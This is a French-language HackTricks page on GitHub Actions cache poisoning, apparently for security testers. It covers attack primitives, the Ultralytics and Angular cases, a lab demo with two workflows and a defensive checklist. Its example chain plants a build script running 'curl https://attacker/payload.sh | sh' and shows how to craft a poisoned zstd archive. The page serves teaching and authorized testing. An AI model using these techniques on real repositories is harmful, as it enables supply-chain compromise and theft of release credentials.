GH Actions - Cache Poisoning

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.

Aperçu

Le cache GitHub Actions est global à un dépôt. Tout workflow qui connaît une cache key (ou restore-keys) peut alimenter cette entrée, même si le job n’a que permissions: contents: read. GitHub ne segmente pas les caches par workflow, type d’événement ou niveau de confiance, donc un attaquant qui compromet un job à faibles privilèges peut empoisonner un cache que récupérera ensuite un job de release privilégié. C’est ainsi que la compromission d’Ultralytics a pivoté d’un workflow pull_request_target vers le pipeline de publication sur PyPI.

Primitives d’attaque

• actions/cache expose à la fois des opérations de restore et de save (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). L’appel de save est autorisé pour tout job sauf les workflows pull_request vraiment non fiables déclenchés depuis des forks.
• Les entrées de cache sont identifiées uniquement par la key. Des restore-keys larges facilitent l’injection de payloads car l’attaquant n’a qu’à provoquer une collision sur un préfixe.
• Les cache keys et versions sont des valeurs spécifiées par le client ; le service de cache ne vérifie pas qu’une key/version corresponde à un workflow de confiance ou à un chemin de cache.
• L’URL du serveur de cache + le runtime token ont une durée de vie longue par rapport au workflow (historiquement ~6 heures, maintenant ~90 minutes) et ne sont pas révocables par l’utilisateur. Depuis fin 2024 GitHub bloque les écritures de cache après la fin du job d’origine, donc les attaquants doivent écrire tant que le job est encore en cours ou pré-empoisonner des clés futures.
• Le système de fichiers mis en cache est restauré tel quel. Si le cache contient des scripts ou des binaires qui sont exécutés ensuite, l’attaquant contrôle ce chemin d’exécution.
• Le fichier de cache lui-même n’est pas validé lors du restore ; c’est simplement une archive compressée en zstd, donc une entrée empoisonnée peut écraser des scripts, package.json ou d’autres fichiers sous le chemin de restore.

Exemple de chaîne d’exploitation

Le workflow Author (pull_request_target) a empoisonné le cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Privileged workflow a été restauré et a exécuté le poisoned cache:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

Le deuxième job exécute maintenant du code contrôlé par l’attaquant tout en disposant des identifiants de release (PyPI tokens, PATs, cloud deploy keys, etc.).

Mécanique du Poisoning

Les entrées du cache GitHub Actions sont généralement des archives tar compressées avec zstd. Vous pouvez en créer une localement et la téléverser dans le cache :

tar --zstd -cf poisoned_cache.tzstd cache/contents/here

Sur un cache hit, l’action de restauration extrait l’archive telle quelle. Si le chemin du cache contient des scripts ou fichiers de configuration qui seront exécutés plus tard (outils de build, action.yml, package.json, etc.), vous pouvez les écraser pour obtenir l’exécution.

Conseils pratiques d’exploitation

• Ciblez les workflows déclenchés par pull_request_target, issue_comment ou des commandes de bot qui enregistrent encore des caches ; GitHub leur permet d’écraser des clés couvrant le dépôt même lorsque le runner n’a qu’un accès en lecture au repo.
• Recherchez des clés de cache déterministes réutilisées au-delà des frontières de confiance (par exemple, pip-${{ hashFiles('poetry.lock') }}) ou des restore-keys permissifs, puis enregistrez votre tarball malveillant avant que le workflow privilégié ne s’exécute.
• Surveillez les logs pour des entrées Cache saved ou ajoutez votre propre étape de sauvegarde de cache afin que le job de release suivant restaure la charge utile et exécute les scripts ou binaires trojanized.

Nouvelles techniques observées dans la chaîne Angular (2026)

• Cache v2 “prefix hit” behavior : Dans Cache v2, des misses exacts peuvent tout de même restaurer une autre entrée partageant le même préfixe de clé (effectivement “all keys are restore keys”). Les attaquants peuvent pré-semer des clés quasi-collision pour qu’un futur miss retombe sur l’objet empoisonné.
• Forced eviction in one run : Depuis le 20 novembre 2025, GitHub évince les entrées immédiatement lorsque l’utilisation du cache du dépôt dépasse la limite (10 GB par défaut). Un attaquant peut d’abord téléverser des données de cache inutiles, évincer les entrées légitimes pendant le même job, puis écrire la clé de cache malveillante sans attendre le cycle de nettoyage quotidien.
• setup-node cache pivots via reusable actions : Les actions réutilisables/internes qui enveloppent actions/setup-node avec cache-dependency-path peuvent relier silencieusement des workflows à faible confiance et à haute confiance. Si les deux chemins hachent vers des clés partagées, empoisonner le cache de dépendances peut s’exécuter dans l’automatisation privilégiée (par exemple les jobs Renovate/bot).
• Chaining cache poisoning into bot-driven supply chain abuse : Dans le cas Angular, le cache poisoning a exposé un PAT de bot, qui a ensuite permis de force-push des heads de PR appartenant au bot après approbation. Si les règles de remise à zéro des approbations exemptent les acteurs bot, cela permet de remplacer des commits revus par des commits malveillants (par exemple imposter action SHAs) avant le merge.

##å Cacheract

Cacheract est un toolkit orienté PoC pour le cache poisoning de GitHub Actions dans le cadre de tests autorisés. Sa valeur pratique est d’automatiser les parties fragiles faciles à rater manuellement :

• Détecter et utiliser le contexte runtime du cache depuis le runner (ACTIONS_RUNTIME_TOKEN et l’URL du service de cache).
• Énumérer et cibler les clés/versions candidates de cache utilisées par les workflows en aval.
• Forcer l’éviction en saturant le quota de cache (lorsque pertinent) puis écrire des entrées contrôlées par l’attaquant dans la même exécution.
• Semer du contenu de cache empoisonné pour que les workflows ultérieurs restaurent et exécutent des outils modifiés.

Ceci est particulièrement utile dans les environnements Cache v2 où le timing et le comportement des clés/versions importent davantage que dans les premières implémentations du cache.

Démo

N’utilisez ceci que dans des dépôts que vous possédez ou que vous êtes explicitement autorisé à tester.

1. Vulnerable workflow (untrusted trigger can save cache)

Ce workflow simule un anti-pattern pull_request_target : il écrit du contenu de cache depuis un contexte contrôlé par l’attaquant et l’enregistre sous une clé déterministe.

name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]

permissions:
contents: read

jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

2. Workflow privilégié (restaure et exécute un binaire/script mis en cache)

Ce workflow restaure la même clé et exécute toolchain/bin/build tout en détenant un secret factice. Si le cache est empoisonné, le chemin d’exécution est contrôlé par l’attaquant.

name: privileged-consumer
on:
workflow_dispatch:

permissions:
contents: read

jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"

3. Exécuter le labo

• Ajoutez un fichier stable toolchain.lock afin que les deux workflows résolvent la même cache key.
• Déclenchez untrusted-cache-writer depuis un PR de test.
• Déclenchez privileged-consumer via workflow_dispatch.
• Confirmez que POISONED_BUILD_PATH apparaît dans les logs et que /tmp/cache-poisoning-demo.txt est créé.

4. Ce que cela démontre techniquement

• Rupture de confiance du cache entre workflows: Les workflows writer et consumer n’ont pas le même niveau de confiance, mais ils partagent le même namespace de cache.
• Risque d’exécution lors de la restauration: Aucune validation d’intégrité n’est effectuée avant d’exécuter un script/binaire restauré.
• Abus de clés déterministes: Si un job à haute confiance utilise des clés prévisibles, un job à faible confiance peut prépositionner du contenu malveillant.

5. Checklist de vérification défensive

• Séparer les clés selon la frontière de confiance (pr-, ci-, release-) et éviter les préfixes partagés.
• Désactiver les écritures de cache dans les workflows non fiables.
• Hacher/valider le contenu exécutable restauré avant de l’exécuter.
• Éviter d’exécuter des outils directement depuis les chemins de cache.

Références

• A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes
• The Monsters in Your Build Cache: GitHub Actions Cache Poisoning
• Turning Almost Nothing into a Supply Chain Compromise of Angular with GitHub Actions Cache Poisoning
• ActionsCacheBlasting (deprecated, Cache V2) / Cacheract

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.